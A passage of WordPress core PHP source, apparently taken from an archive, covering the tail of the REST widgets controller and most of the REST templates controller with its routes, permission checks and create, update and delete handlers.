WP_REST_Response( array() ), $widget, $request ); } $parsed_id = wp_parse_widget_id( $widget_id ); $fields = $this->get_fields_for_response( $request ); $prepared = array( 'id' => $widget_id, 'id_base' => $parsed_id['id_base'], 'sidebar' => $sidebar_id, 'rendered' => '', 'rendered_form' => null, 'instance' => null, ); if ( rest_is_field_included( 'rendered', $fields ) && 'wp_inactive_widgets' !== $sidebar_id ) { $prepared['rendered'] = trim( wp_render_widget( $widget_id, $sidebar_id ) ); } if ( rest_is_field_included( 'rendered_form', $fields ) ) { $rendered_form = wp_render_widget_control( $widget_id ); if ( ! is_null( $rendered_form ) ) { $prepared['rendered_form'] = trim( $rendered_form ); } } if ( rest_is_field_included( 'instance', $fields ) ) { $widget_object = $wp_widget_factory->get_widget_object( $parsed_id['id_base'] ); if ( $widget_object && isset( $parsed_id['number'] ) ) { $all_instances = $widget_object->get_settings(); $instance = $all_instances[ $parsed_id['number'] ]; $serialized_instance = serialize( $instance ); $prepared['instance']['encoded'] = base64_encode( $serialized_instance ); $prepared['instance']['hash'] = wp_hash( $serialized_instance ); if ( ! empty( $widget_object->widget_options['show_instance_in_rest'] ) ) { // Use new stdClass so that JSON result is {} and not []. $prepared['instance']['raw'] = empty( $instance ) ? new stdClass() : $instance; } } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $prepared = $this->add_additional_fields_to_object( $prepared, $request ); $prepared = $this->filter_response_by_context( $prepared, $context ); $response = rest_ensure_response( $prepared ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $prepared ) ); } /** * Filters the REST API response for a widget. * * @since 5.8.0 * * @param WP_REST_Response|WP_Error $response The response object, or WP_Error object on failure. * @param array $widget The registered widget data. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_widget', $response, $widget, $request ); } /** * Prepares links for the widget. * * @since 5.8.0 * * @param array $prepared Widget. * @return array Links for the given widget. */ protected function prepare_links( $prepared ) { $id_base = ! empty( $prepared['id_base'] ) ? $prepared['id_base'] : $prepared['id']; return array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $prepared['id'] ) ), ), 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), 'about' => array( 'href' => rest_url( sprintf( 'wp/v2/widget-types/%s', $id_base ) ), 'embeddable' => true, ), 'https://api.w.org/sidebar' => array( 'href' => rest_url( sprintf( 'wp/v2/sidebars/%s/', $prepared['sidebar'] ) ), ), ); } /** * Gets the list of collection params. * * @since 5.8.0 * * @return array[] */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'sidebar' => array( 'description' => __( 'The sidebar to return widgets for.' ), 'type' => 'string', ), ); } /** * Retrieves the widget's schema, conforming to JSON Schema. * * @since 5.8.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'widget', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'Unique identifier for the widget.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), 'id_base' => array( 'description' => __( 'The type of the widget. Corresponds to ID in widget-types endpoint.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), 'sidebar' => array( 'description' => __( 'The sidebar the widget belongs to.' ), 'type' => 'string', 'default' => 'wp_inactive_widgets', 'required' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'rendered' => array( 'description' => __( 'HTML representation of the widget.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'rendered_form' => array( 'description' => __( 'HTML representation of the widget admin form.' ), 'type' => 'string', 'context' => array( 'edit' ), 'readonly' => true, ), 'instance' => array( 'description' => __( 'Instance settings of the widget, if supported.' ), 'type' => 'object', 'context' => array( 'edit' ), 'default' => null, 'properties' => array( 'encoded' => array( 'description' => __( 'Base64 encoded representation of the instance settings.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'hash' => array( 'description' => __( 'Cryptographic hash of the instance settings.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'raw' => array( 'description' => __( 'Unencoded instance settings, if supported.' ), 'type' => 'object', 'context' => array( 'edit' ), ), ), ), 'form_data' => array( 'description' => __( 'URL-encoded form data from the widget admin form. Used to update a widget that does not support instance. Write only.' ), 'type' => 'string', 'context' => array(), 'arg_options' => array( 'sanitize_callback' => static function ( $form_data ) { $array = array(); wp_parse_str( $form_data, $array ); return $array; }, ), ), ), ); return $this->add_additional_fields_schema( $this->schema ); } } class-wp-rest-templates-controller.php000064400000114676152506367270014172 0ustar00post_type = $post_type; $obj = get_post_type_object( $post_type ); $this->rest_base = ! empty( $obj->rest_base ) ? $obj->rest_base : $obj->name; $this->namespace = ! empty( $obj->rest_namespace ) ? $obj->rest_namespace : 'wp/v2'; } /** * Registers the controllers routes. * * @since 5.8.0 * @since 6.1.0 Endpoint for fallback template content. */ public function register_routes() { // Lists all templates. register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); // Get fallback template content. register_rest_route( $this->namespace, '/' . $this->rest_base . '/lookup', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_template_fallback' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'slug' => array( 'description' => __( 'The slug of the template to get the fallback for' ), 'type' => 'string', 'required' => true, ), 'is_custom' => array( 'description' => __( 'Indicates if a template is custom or part of the template hierarchy' ), 'type' => 'boolean', ), 'template_prefix' => array( 'description' => __( 'The template prefix for the created template. This is used to extract the main template type, e.g. in `taxonomy-books` extracts the `taxonomy`' ), 'type' => 'string', ), ), ), ) ); // Lists/updates a single template based on the given id. register_rest_route( $this->namespace, // The route. sprintf( '/%s/(?P%s%s)', $this->rest_base, /* * Matches theme's directory: `/themes///` or `/themes//`. * Excludes invalid directory name characters: `/:<>*?"|`. */ '([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)', // Matches the template name. '[\/\w%-]+' ), array( 'args' => array( 'id' => array( 'description' => __( 'The id of a template' ), 'type' => 'string', 'sanitize_callback' => array( $this, '_sanitize_template_id' ), ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Whether to bypass Trash and force deletion.' ), ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Returns the fallback template for the given slug. * * @since 6.1.0 * @since 6.3.0 Ignore empty templates. * * @param WP_REST_Request $request The request instance. * @return WP_REST_Response|WP_Error */ public function get_template_fallback( $request ) { $hierarchy = get_template_hierarchy( $request['slug'], $request['is_custom'], $request['template_prefix'] ); do { $fallback_template = resolve_block_template( $request['slug'], $hierarchy, '' ); array_shift( $hierarchy ); } while ( ! empty( $hierarchy ) && empty( $fallback_template->content ) ); // To maintain original behavior, return an empty object rather than a 404 error when no template is found. $response = $fallback_template ? $this->prepare_item_for_response( $fallback_template, $request ) : new stdClass(); return rest_ensure_response( $response ); } /** * Checks if the user has permissions to make the request. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ protected function permissions_check( $request ) { /* * Verify if the current user has edit_theme_options capability. * This capability is required to edit/view/delete templates. */ if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_manage_templates', __( 'Sorry, you are not allowed to access the templates on this site.' ), array( 'status' => rest_authorization_required_code(), ) ); } return true; } /** * Requesting this endpoint for a template like 'twentytwentytwo//home' * requires using a path like /wp/v2/templates/twentytwentytwo//home. There * are special cases when WordPress routing corrects the name to contain * only a single slash like 'twentytwentytwo/home'. * * This method doubles the last slash if it's not already doubled. It relies * on the template ID format {theme_name}//{template_slug} and the fact that * slugs cannot contain slashes. * * @since 5.9.0 * @link https://core.trac.wordpress.org/ticket/54507 * * @param string $id Template ID. * @return string Sanitized template ID. */ public function _sanitize_template_id( $id ) { $id = urldecode( $id ); $last_slash_pos = strrpos( $id, '/' ); if ( false === $last_slash_pos ) { return $id; } $is_double_slashed = substr( $id, $last_slash_pos - 1, 1 ) === '/'; if ( $is_double_slashed ) { return $id; } return ( substr( $id, 0, $last_slash_pos ) . '/' . substr( $id, $last_slash_pos ) ); } /** * Checks if a given request has access to read templates. * * @since 5.8.0 * @since 6.6.0 Allow users with edit_posts capability to read templates. * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_manage_templates', __( 'Sorry, you are not allowed to access the templates on this site.' ), array( 'status' => rest_authorization_required_code(), ) ); } /** * Returns a list of templates. * * @since 5.8.0 * * @param WP_REST_Request $request The request instance. * @return WP_REST_Response */ public function get_items( $request ) { if ( $request->is_method( 'HEAD' ) ) { // Return early as this handler doesn't add any response headers. return new WP_REST_Response( array() ); } $query = array(); if ( isset( $request['wp_id'] ) ) { $query['wp_id'] = $request['wp_id']; } if ( isset( $request['area'] ) ) { $query['area'] = $request['area']; } if ( isset( $request['post_type'] ) ) { $query['post_type'] = $request['post_type']; } $templates = array(); foreach ( get_block_templates( $query, $this->post_type ) as $template ) { $data = $this->prepare_item_for_response( $template, $request ); $templates[] = $this->prepare_response_for_collection( $data ); } return rest_ensure_response( $templates ); } /** * Checks if a given request has access to read a single template. * * @since 5.8.0 * @since 6.6.0 Allow users with edit_posts capability to read individual templates. * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_manage_templates', __( 'Sorry, you are not allowed to access the templates on this site.' ), array( 'status' => rest_authorization_required_code(), ) ); } /** * Returns the given template * * @since 5.8.0 * * @param WP_REST_Request $request The request instance. * @return WP_REST_Response|WP_Error */ public function get_item( $request ) { if ( isset( $request['source'] ) && ( 'theme' === $request['source'] || 'plugin' === $request['source'] ) ) { $template = get_block_file_template( $request['id'], $this->post_type ); } else { $template = get_block_template( $request['id'], $this->post_type ); } if ( ! $template ) { return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) ); } return $this->prepare_item_for_response( $template, $request ); } /** * Checks if a given request has access to write a single template. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { return $this->permissions_check( $request ); } /** * Updates a single template. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $template = get_block_template( $request['id'], $this->post_type ); if ( ! $template ) { return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) ); } $post_before = get_post( $template->wp_id ); if ( isset( $request['source'] ) && 'theme' === $request['source'] ) { wp_delete_post( $template->wp_id, true ); $request->set_param( 'context', 'edit' ); $template = get_block_template( $request['id'], $this->post_type ); $response = $this->prepare_item_for_response( $template, $request ); return rest_ensure_response( $response ); } $changes = $this->prepare_item_for_database( $request ); if ( is_wp_error( $changes ) ) { return $changes; } if ( 'custom' === $template->source ) { $update = true; $result = wp_update_post( wp_slash( (array) $changes ), false ); } else { $update = false; $post_before = null; $result = wp_insert_post( wp_slash( (array) $changes ), false ); } if ( is_wp_error( $result ) ) { if ( 'db_update_error' === $result->get_error_code() ) { $result->add_data( array( 'status' => 500 ) ); } else { $result->add_data( array( 'status' => 400 ) ); } return $result; } $template = get_block_template( $request['id'], $this->post_type ); $fields_update = $this->update_additional_fields_for_object( $template, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); $post = get_post( $template->wp_id ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ do_action( "rest_after_insert_{$this->post_type}", $post, $request, false ); wp_after_insert_post( $post, $update, $post_before ); $response = $this->prepare_item_for_response( $template, $request ); return rest_ensure_response( $response ); } /** * Checks if a given request has access to create a template. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { return $this->permissions_check( $request ); } /** * Creates a single template. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { $prepared_post = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared_post ) ) { return $prepared_post; } $prepared_post->post_name = $request['slug']; $post_id = wp_insert_post( wp_slash( (array) $prepared_post ), true ); if ( is_wp_error( $post_id ) ) { if ( 'db_insert_error' === $post_id->get_error_code() ) { $post_id->add_data( array( 'status' => 500 ) ); } else { $post_id->add_data( array( 'status' => 400 ) ); } return $post_id; } $posts = get_block_templates( array( 'wp_id' => $post_id ), $this->post_type ); if ( ! count( $posts ) ) { return new WP_Error( 'rest_template_insert_error', __( 'No templates exist with that id.' ), array( 'status' => 400 ) ); } $id = $posts[0]->id; $post = get_post( $post_id ); $template = get_block_template( $id, $this->post_type ); $fields_update = $this->update_additional_fields_for_object( $template, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ do_action( "rest_after_insert_{$this->post_type}", $post, $request, true ); wp_after_insert_post( $post, false, null ); $response = $this->prepare_item_for_response( $template, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $template->id ) ) ); return $response; } /** * Checks if a given request has access to delete a single template. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has delete access for the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { return $this->permissions_check( $request ); } /** * Deletes a single template. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $template = get_block_template( $request['id'], $this->post_type ); if ( ! $template ) { return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) ); } if ( 'custom' !== $template->source ) { return new WP_Error( 'rest_invalid_template', __( 'Templates based on theme files can\'t be removed.' ), array( 'status' => 400 ) ); } $id = $template->wp_id; $force = (bool) $request['force']; $request->set_param( 'context', 'edit' ); // If we're forcing, then delete permanently. if ( $force ) { $previous = $this->prepare_item_for_response( $template, $request ); $result = wp_delete_post( $id, true ); $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); } else { // Otherwise, only trash if we haven't already. if ( 'trash' === $template->status ) { return new WP_Error( 'rest_template_already_trashed', __( 'The template has already been deleted.' ), array( 'status' => 410 ) ); } /* * (Note that internally this falls through to `wp_delete_post()` * if the Trash is disabled.) */ $result = wp_trash_post( $id ); $template->status = 'trash'; $response = $this->prepare_item_for_response( $template, $request ); } if ( ! $result ) { return new WP_Error( 'rest_cannot_delete', __( 'The template cannot be deleted.' ), array( 'status' => 500 ) ); } return $response; } /** * Prepares a single template for create or update. * * @since 5.8.0 * * @param WP_REST_Request $request Request object. * @return stdClass|WP_Error Changes to pass to wp_update_post. */ protected function prepare_item_for_database( $request ) { $template = $request['id'] ? get_block_template( $request['id'], $this->post_type ) : null; $changes = new stdClass(); if ( null === $template ) { $changes->post_type = $this->post_type; $changes->post_status = 'publish'; $changes->tax_input = array( 'wp_theme' => $request['theme'] ?? get_stylesheet(), ); } elseif ( 'custom' !== $template->source ) { $changes->post_name = $template->slug; $changes->post_type = $this->post_type; $changes->post_status = 'publish'; $changes->tax_input = array( 'wp_theme' => $template->theme, ); $changes->meta_input = array( 'origin' => $template->source, ); } else { $changes->post_name = $template->slug; $changes->ID = $template->wp_id; $changes->post_status = 'publish'; } if ( isset( $request['content'] ) ) { if ( is_string( $request['content'] ) ) { $changes->post_content = $request['content']; } elseif ( isset( $request['content']['raw'] ) ) { $changes->post_content = $request['content']['raw']; } } elseif ( null !== $template && 'custom' !== $template->source ) { $changes->post_content = $template->content; } if ( isset( $request['title'] ) ) { if ( is_string( $request['title'] ) ) { $changes->post_title = $request['title']; } elseif ( ! empty( $request['title']['raw'] ) ) { $changes->post_title = $request['title']['raw']; } } elseif ( null !== $template && 'custom' !== $template->source ) { $changes->post_title = $template->title; } if ( isset( $request['description'] ) ) { $changes->post_excerpt = $request['description']; } elseif ( null !== $template && 'custom' !== $template->source ) { $changes->post_excerpt = $template->description; } if ( 'wp_template' === $this->post_type && isset( $request['is_wp_suggestion'] ) ) { $changes->meta_input = wp_parse_args( array( 'is_wp_suggestion' => $request['is_wp_suggestion'], ), $changes->meta_input = array() ); } if ( 'wp_template_part' === $this->post_type ) { if ( isset( $request['area'] ) ) { $changes->tax_input['wp_template_part_area'] = _filter_block_template_part_area( $request['area'] ); } elseif ( null !== $template && 'custom' !== $template->source && $template->area ) { $changes->tax_input['wp_template_part_area'] = _filter_block_template_part_area( $template->area ); } elseif ( empty( $template->area ) ) { $changes->tax_input['wp_template_part_area'] = WP_TEMPLATE_PART_AREA_UNCATEGORIZED; } } if ( ! empty( $request['author'] ) ) { $post_author = (int) $request['author']; if ( get_current_user_id() !== $post_author ) { $user_obj = get_userdata( $post_author ); if ( ! $user_obj ) { return new WP_Error( 'rest_invalid_author', __( 'Invalid author ID.' ), array( 'status' => 400 ) ); } } $changes->post_author = $post_author; } /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ return apply_filters( "rest_pre_insert_{$this->post_type}", $changes, $request ); } /** * Prepare a single template output for response * * @since 5.8.0 * @since 5.9.0 Renamed `$template` to `$item` to match parent class for PHP 8 named parameter support. * @since 6.3.0 Added `modified` property to the response. * @since 7.1.0 Added `date` property to the response. * @since 7.1.0 The `modified` property is `null` for templates that have no * modification date. * * @param WP_Block_Template $item Template instance. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { return new WP_REST_Response( array() ); } /* * Resolve pattern blocks so they don't need to be resolved client-side * in the editor, improving performance. */ $blocks = parse_blocks( $item->content ); $blocks = resolve_pattern_blocks( $blocks ); $item->content = serialize_blocks( $blocks ); // Restores the more descriptive, specific name for use within this method. $template = $item; $fields = $this->get_fields_for_response( $request ); // Base fields for every template. $data = array(); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = $template->id; } if ( rest_is_field_included( 'theme', $fields ) ) { $data['theme'] = $template->theme; } if ( rest_is_field_included( 'content', $fields ) ) { $data['content'] = array(); } if ( rest_is_field_included( 'content.raw', $fields ) ) { $data['content']['raw'] = $template->content; } if ( rest_is_field_included( 'content.block_version', $fields ) ) { $data['content']['block_version'] = block_version( $template->content ); } if ( rest_is_field_included( 'slug', $fields ) ) { $data['slug'] = $template->slug; } if ( rest_is_field_included( 'source', $fields ) ) { $data['source'] = $template->source; } if ( rest_is_field_included( 'origin', $fields ) ) { $data['origin'] = $template->origin; } if ( rest_is_field_included( 'type', $fields ) ) { $data['type'] = $template->type; } if ( rest_is_field_included( 'description', $fields ) ) { $data['description'] = $template->description; } if ( rest_is_field_included( 'title', $fields ) ) { $data['title'] = array(); } if ( rest_is_field_included( 'title.raw', $fields ) ) { $data['title']['raw'] = $template->title; } if ( rest_is_field_included( 'title.rendered', $fields ) ) { if ( $template->wp_id ) { /** This filter is documented in wp-includes/post-template.php */ $data['title']['rendered'] = apply_filters( 'the_title', $template->title, $template->wp_id ); } else { $data['title']['rendered'] = $template->title; } } if ( rest_is_field_included( 'status', $fields ) ) { $data['status'] = $template->status; } if ( rest_is_field_included( 'wp_id', $fields ) ) { $data['wp_id'] = (int) $template->wp_id; } if ( rest_is_field_included( 'has_theme_file', $fields ) ) { $data['has_theme_file'] = (bool) $template->has_theme_file; } if ( rest_is_field_included( 'is_custom', $fields ) && 'wp_template' === $template->type ) { $data['is_custom'] = $template->is_custom; } if ( rest_is_field_included( 'author', $fields ) ) { $data['author'] = (int) $template->author; } if ( rest_is_field_included( 'area', $fields ) && 'wp_template_part' === $template->type ) { $data['area'] = $template->area; } if ( rest_is_field_included( 'modified', $fields ) ) { /* * File-backed templates have no modification date, and `mysql_to_rfc3339()` * returns `false` for an empty or malformed value, which the schema does * not allow. Return `null` in that case. */ $modified = mysql_to_rfc3339( $template->modified ); $data['modified'] = false !== $modified ? $modified : null; } if ( rest_is_field_included( 'date', $fields ) ) { /* * File-backed templates have no date, and `mysql_to_rfc3339()` returns * `false` for an empty or malformed value, which the schema does not * allow. Return `null` in that case. */ $date = mysql_to_rfc3339( $template->date ); $data['date'] = false !== $date ? $date : null; } if ( rest_is_field_included( 'author_text', $fields ) ) { $data['author_text'] = self::get_wp_templates_author_text_field( $template ); } if ( rest_is_field_included( 'original_source', $fields ) ) { $data['original_source'] = self::get_wp_templates_original_source_field( $template ); } if ( rest_is_field_included( 'plugin', $fields ) ) { $registered_template = WP_Block_Templates_Registry::get_instance()->get_by_slug( $template->slug ); if ( $registered_template ) { $data['plugin'] = $registered_template->plugin; } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $this->prepare_links( $template->id ); $response->add_links( $links ); if ( ! empty( $links['self']['href'] ) ) { $actions = $this->get_available_actions(); $self = $links['self']['href']; foreach ( $actions as $rel ) { $response->add_link( $rel, $self ); } } } return $response; } /** * Returns the source from where the template originally comes from. * * @since 6.5.0 * * @param WP_Block_Template $template_object Template instance. * @return string Original source of the template one of theme, plugin, site, or user. */ private static function get_wp_templates_original_source_field( $template_object ) { if ( 'wp_template' === $template_object->type || 'wp_template_part' === $template_object->type ) { /* * Added by theme. * Template originally provided by a theme, but customized by a user. * Templates originally didn't have the 'origin' field so identify * older customized templates by checking for no origin and a 'theme' * or 'custom' source. */ if ( $template_object->has_theme_file && ( 'theme' === $template_object->origin || ( empty( $template_object->origin ) && in_array( $template_object->source, array( 'theme', 'custom', ), true ) ) ) ) { return 'theme'; } // Added by plugin. if ( 'plugin' === $template_object->origin ) { return 'plugin'; } /* * Added by site. * Template was created from scratch, but has no author. Author support * was only added to templates in WordPress 5.9. Fallback to showing the * site logo and title. */ if ( empty( $template_object->has_theme_file ) && 'custom' === $template_object->source && empty( $template_object->author ) ) { return 'site'; } } // Added by user. return 'user'; } /** * Returns a human readable text for the author of the template. * * @since 6.5.0 * * @param WP_Block_Template $template_object Template instance. * @return string Human readable text for the author. */ private static function get_wp_templates_author_text_field( $template_object ) { $original_source = self::get_wp_templates_original_source_field( $template_object ); switch ( $original_source ) { case 'theme': $theme_name = wp_get_theme( $template_object->theme )->get( 'Name' ); return empty( $theme_name ) ? $template_object->theme : $theme_name; case 'plugin': if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } if ( isset( $template_object->plugin ) ) { $plugins = wp_get_active_and_valid_plugins(); foreach ( $plugins as $plugin_file ) { $plugin_basename = plugin_basename( $plugin_file ); // Split basename by '/' to get the plugin slug. list( $plugin_slug, ) = explode( '/', $plugin_basename ); if ( $plugin_slug === $template_object->plugin ) { $plugin_data = get_plugin_data( $plugin_file ); if ( ! empty( $plugin_data['Name'] ) ) { return $plugin_data['Name']; } break; } } } /* * Fall back to the theme name if the plugin is not defined. That's needed to keep backwards * compatibility with templates that were registered before the plugin attribute was added. */ $plugins = get_plugins(); $plugin_basename = plugin_basename( sanitize_text_field( $template_object->theme . '.php' ) ); if ( isset( $plugins[ $plugin_basename ] ) && isset( $plugins[ $plugin_basename ]['Name'] ) ) { return $plugins[ $plugin_basename ]['Name']; } return $template_object->plugin ?? $template_object->theme; case 'site': return get_bloginfo( 'name' ); case 'user': $author = get_user_by( 'id', $template_object->author ); if ( ! $author ) { return __( 'Unknown author' ); } return $author->get( 'display_name' ); } // Fail-safe to return a string should the original source ever fall through. return ''; } /** * Prepares links for the request. * * @since 5.8.0 * * @param integer $id ID. * @return array Links for the given post. */ protected function prepare_links( $id ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '/%s/%s/%s', $this->namespace, $this->rest_base, $id ) ), ), 'collection' => array( 'href' => rest_url( rest_get_route_for_post_type_items( $this->post_type ) ), ), 'about' => array( 'href' => rest_url( 'wp/v2/types/' . $this->post_type ), ), ); if ( post_type_supports( $this->post_type, 'revisions' ) ) { $template = get_block_template( $id, $this->post_type ); if ( $template instanceof WP_Block_Template && ! empty( $template->wp_id ) ) { $revisions = wp_get_latest_revision_id_and_total_count( $template->wp_id ); $revisions_count = ! is_wp_error( $revisions ) ? $revisions['count'] : 0; $revisions_base = sprintf( '/%s/%s/%s/revisions', $this->namespace, $this->rest_base, $id ); $links['version-history'] = array( 'href' => rest_url( $revisions_base ), 'count' => $revisions_count, ); if ( $revisions_count > 0 ) { $links['predecessor-version'] = array( 'href' => rest_url( $revisions_base . '/' . $revisions['latest_id'] ), 'id' => $revisions['latest_id'], ); } } } return $links; } /** * Get the link relations available for the post and current user. * * @since 5.8.0 * * @return string[] List of link relations. */ protected function get_available_actions() { $rels = array(); $post_type = get_post_type_object( $this->post_type ); if ( current_user_can( $post_type->cap->publish_posts ) ) { $rels[] = 'https://api.w.org/action-publish'; } if ( current_user_can( 'unfiltered_html' ) ) { $rels[] = 'https://api.w.org/action-unfiltered-html'; } return $rels; } /** * Retrieves the query params for the posts collection. * * @since 5.8.0 * @since 5.9.0 Added `'area'` and `'post_type'`. * * @return array Collection parameters. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'wp_id' => array( 'description' => __( 'Limit to the specified post id.' ), 'type' => 'integer', ), 'area' => array( 'description' => __( 'Limit to the specified template part area.' ), 'type' => 'string', ), 'post_type' => array( 'description' => __( 'Post type to get the templates for.' ), 'type' => 'string', ), ); } /** * Retrieves the block type' schema, conforming to JSON Schema. * * @since 5.8.0 * @since 5.9.0 Added `'area'`. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => $this->post_type, 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'ID of template.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'slug' => array( 'description' => __( 'Unique slug identifying the template.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'required' => true, 'minLength' => 1, 'pattern' => '[a-zA-Z0-9_\%-]+', ), 'theme' => array( 'description' => __( 'Theme identifier for the template.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), ), 'type' => array( 'description' => __( 'Type of template.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), ), 'source' => array( 'description' => __( 'Source of template' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'origin' => array( 'description' => __( 'Source of a customized template' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'content' => array( 'description' => __( 'Content of template.' ), 'type' => array( 'object', 'string' ), 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'properties' => array( 'raw' => array( 'description' => __( 'Content for the template, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), ), 'block_version' => array( 'description' => __( 'Version of the content block format used by the template.' ), 'type' => 'integer', 'context' => array( 'edit' ), 'readonly' => true, ), ), ), 'title' => array( 'description' => __( 'Title of template.' ), 'type' => array( 'object', 'string' ), 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'properties' => array( 'raw' => array( 'description' => __( 'Title for the template, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), 'rendered' => array( 'description' => __( 'HTML title for the template, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 